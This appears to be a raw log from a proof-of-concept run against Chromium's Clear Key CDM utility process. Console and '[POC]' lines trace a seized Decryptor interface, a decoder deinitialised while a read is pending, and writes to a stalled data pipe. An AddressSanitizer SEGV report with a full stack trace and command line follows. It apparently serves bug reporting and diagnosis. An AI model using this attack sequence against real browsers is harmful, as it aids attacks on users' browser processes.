[1640:1640:0529/163239.388436:INFO:CONSOLE:10] "Requesting org.chromium.externalclearkey ...", source: http://127.0.0.1:8080/poc.html (10)
[1640:1640:0529/163239.432892:INFO:CONSOLE:10] "Got MediaKeySystemAccess, calling createMediaKeys()", source: http://127.0.0.1:8080/poc.html (10)
[1767:1767:0529/163239.460221:ERROR:media/mojo/clients/mojo_cdm_factory.cc:198] [POC] Hijacking pending_remote<mojom::Decryptor> from CdmContext (key_system=org.chromium.externalclearkey)
[1767:1767:0529/163239.460348:ERROR:media/mojo/clients/mojo_cdm_factory.cc:50] [POC] DecryptorDeinitAttacker starting
[1767:1767:0529/163239.460847:ERROR:media/mojo/clients/mojo_cdm_factory.cc:87] [POC] InitializeAudioDecoder()
[1640:1640:0529/163239.461766:INFO:CONSOLE:10] "createMediaKeys() resolved — renderer-side hijack should now be attacking the CDM utility process. Check stderr for [POC] lines and the AddressSanitizer report.", source: http://127.0.0.1:8080/poc.html (10)
[1767:1767:0529/163239.463205:ERROR:media/mojo/clients/mojo_cdm_factory.cc:97] [POC] InitializeAudioDecoder => success=1
[1767:1767:0529/163239.463277:ERROR:media/mojo/clients/mojo_cdm_factory.cc:113] [POC] DecryptAndDecodeAudio(data_size=256) with stalled DataPipe
[1767:1767:0529/163239.463359:ERROR:media/mojo/clients/mojo_cdm_factory.cc:126] [POC] DeinitializeDecoder(kAudio) with read pending
[1767:1767:0529/163239.463457:ERROR:media/mojo/clients/mojo_cdm_factory.cc:145] [POC] Wrote 256 bytes to audio DataPipe (result=0) -- expect CDM utility-process crash
[0529/163239.473106:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0529/163239.473204:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1797==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x6e4dd4c8c1d2 bp 0x7fff74151e10 sp 0x7fff74151d40 T0)
==1797==The signal is caused by a READ memory access.
==1797==Hint: address points to the zero page.
    #0 0x6e4dd4c8c1d2 in media::FFmpegDecodingLoop::DecodePacket(AVPacket const*, base::RepeatingCallback<bool (AVFrame*)>) base/allocator/partition_allocator/src/partition_alloc/pointers/raw_ptr.h:1018:47
    #1 0x6e4dd1976662 in media::FFmpegCdmAudioDecoder::DecodeBuffer(unsigned char const*, int, long, cdm::AudioFrames*) media/cdm/library_cdm/clear_key_cdm/ffmpeg_cdm_audio_decoder.cc:242:68
    #2 0x6e4dd19589c0 in media::ClearKeyCdm::DecryptAndDecodeSamples(cdm::InputBuffer_2 const&, cdm::AudioFrames*) media/cdm/library_cdm/clear_key_cdm/clear_key_cdm.cc:746:26
    #3 0x5669204fd9c5 in media::CdmAdapter::DecryptAndDecodeAudio(scoped_refptr<media::DecoderBuffer>, base::OnceCallback<void (media::Decryptor::Status, std::__Cr::list<scoped_refptr<media::AudioBuffer>, std::__Cr::allocator<scoped_refptr<media::AudioBuffer>>> const&)>) media/cdm/cdm_adapter.cc:617:13
    #4 0x56693fa48537 in media::MojoDecryptorService::OnAudioRead(base::OnceCallback<void (media::Decryptor::Status, std::__Cr::vector<mojo::StructPtr<media::mojom::AudioBuffer>, std::__Cr::allocator<mojo::StructPtr<media::mojom::AudioBuffer>>>)>, scoped_refptr<media::DecoderBuffer>) media/mojo/services/mojo_decryptor_service.cc:279:15
    #5 0x56693fa4c7e6 in base::internal::Invoker<base::internal::FunctorTraits<void (media::MojoDecryptorService::*&&)(base::OnceCallback<void (media::Decryptor::Status, std::__Cr::vector<mojo::StructPtr<media::mojom::AudioBuffer>, std::__Cr::allocator<mojo::StructPtr<media::mojom::AudioBuffer>>>)>, scoped_refptr<media::DecoderBuffer>), base::WeakPtr<media::MojoDecryptorService>&&, base::OnceCallback<void (media::Decryptor::Status, std::__Cr::vector<mojo::StructPtr<media::mojom::AudioBuffer>, std::__Cr::allocator<mojo::StructPtr<media::mojom::AudioBuffer>>>)>&&>, base::internal::BindState<true, true, false, void (media::MojoDecryptorService::*)(base::OnceCallback<void (media::Decryptor::Status, std::__Cr::vector<mojo::StructPtr<media::mojom::AudioBuffer>, std::__Cr::allocator<mojo::StructPtr<media::mojom::AudioBuffer>>>)>, scoped_refptr<media::DecoderBuffer>), base::WeakPtr<media::MojoDecryptorService>, base::OnceCallback<void (media::Decryptor::Status, std::__Cr::vector<mojo::StructPtr<media::mojom::AudioBuffer>, std::__Cr::allocator<mojo::StructPtr<media::mojom::AudioBuffer>>>)>>, void (scoped_refptr<media::DecoderBuffer>)>::RunOnce(base::internal::BindStateBase*, scoped_refptr<media::DecoderBuffer>&&) base/functional/bind_internal.h:740:12
    #6 0x56692b902699 in media::MojoDecoderBufferReader::CompleteCurrentRead() base/functional/callback.h:155:12
    #7 0x56692b901b67 in media::MojoDecoderBufferReader::ProcessPendingReads() media/mojo/common/mojo_decoder_buffer_converter.cc
    #8 0x56692b904e43 in base::internal::Invoker<base::internal::FunctorTraits<void (media::MojoDecoderBufferReader::* const&)(unsigned int, mojo::HandleSignalsState const&), media::MojoDecoderBufferReader*>, base::internal::BindState<true, true, false, void (media::MojoDecoderBufferReader::*)(unsigned int, mojo::HandleSignalsState const&), base::internal::UnretainedWrapper<media::MojoDecoderBufferReader, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) base/functional/bind_internal.h:740:12
    #9 0x5669366ce4b0 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & base/functional/callback.h:346:12
    #10 0x5669366cddf0 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:286:14
    #11 0x5669366cefb7 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #12 0x56693584f463 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #13 0x5669358beb1c in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #14 0x5669358bd9ba in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
    #15 0x56693570da82 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:65:55
    #16 0x5669358c0204 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
    #17 0x5669357c9990 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #18 0x56692e18cd93 in content::UtilityMain(content::MainFunctionParams) content/utility/utility_main.cc:486:12
    #19 0x56693207c133 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
    #20 0x56693207d43b in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
    #21 0x566932080341 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
    #22 0x566932079b4b in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #23 0x56693207a13c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #24 0x56691cf9302b in ChromeMain chrome/app/chrome_main.cc:221:12
    #25 0x724de2e2b249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)

==1797==Register values:
rax = 0x0000000000000008  rbx = 0x00007fff74151d40  rcx = 0x0000000000000003  rdx = 0x00000dc9bbf81030  
rdi = 0x000000000000003c  rsi = 0x00000000000000f3  rbp = 0x00007fff74151e10  rsp = 0x00007fff74151d40  
 r8 = 0x0000566957699ff0   r9 = 0x00007fffffffff01  r10 = 0x00007fffffffff01  r11 = 0xeeed62cd1e0a0b01  
r12 = 0x00000dca3bfdc801  r13 = 0x0000000000000000  r14 = 0x0000000000000001  r15 = 0x0000000000000000  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV base/allocator/partition_allocator/src/partition_alloc/pointers/raw_ptr.h:1018:47 in media::FFmpegDecodingLoop::DecodePacket(AVPacket const*, base::RepeatingCallback<bool (AVFrame*)>)

==1797==ADDITIONAL INFO

==1797==Note: Please include this section with the ASan report.
Task trace:
[1640:1655:0529/163241.672312:ERROR:google_apis/gcm/engine/registration_request.cc:291] Registration response error message: DEPRECATED_ENDPOINT
    #0 0x5669366ce923 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13


Command line: `/proc/self/exe --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --no-sandbox --use-angle=swiftshader-webgl --crashpad-handler-pid=1642 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-poc-profile --change-stack-guard-on-fork=enable --disable-in-process-stack-traces --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,10593649086009464228,13416310139671948619,262144 --enable-features=ExternalClearKeyForTesting --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,6203405488902727498,1671272537997087483,4 --trace-process-track-uuid=3190708994745248135 --enable-logging=stderr --v=0`


==1797==END OF ADDITIONAL INFO

==1797==ABORTING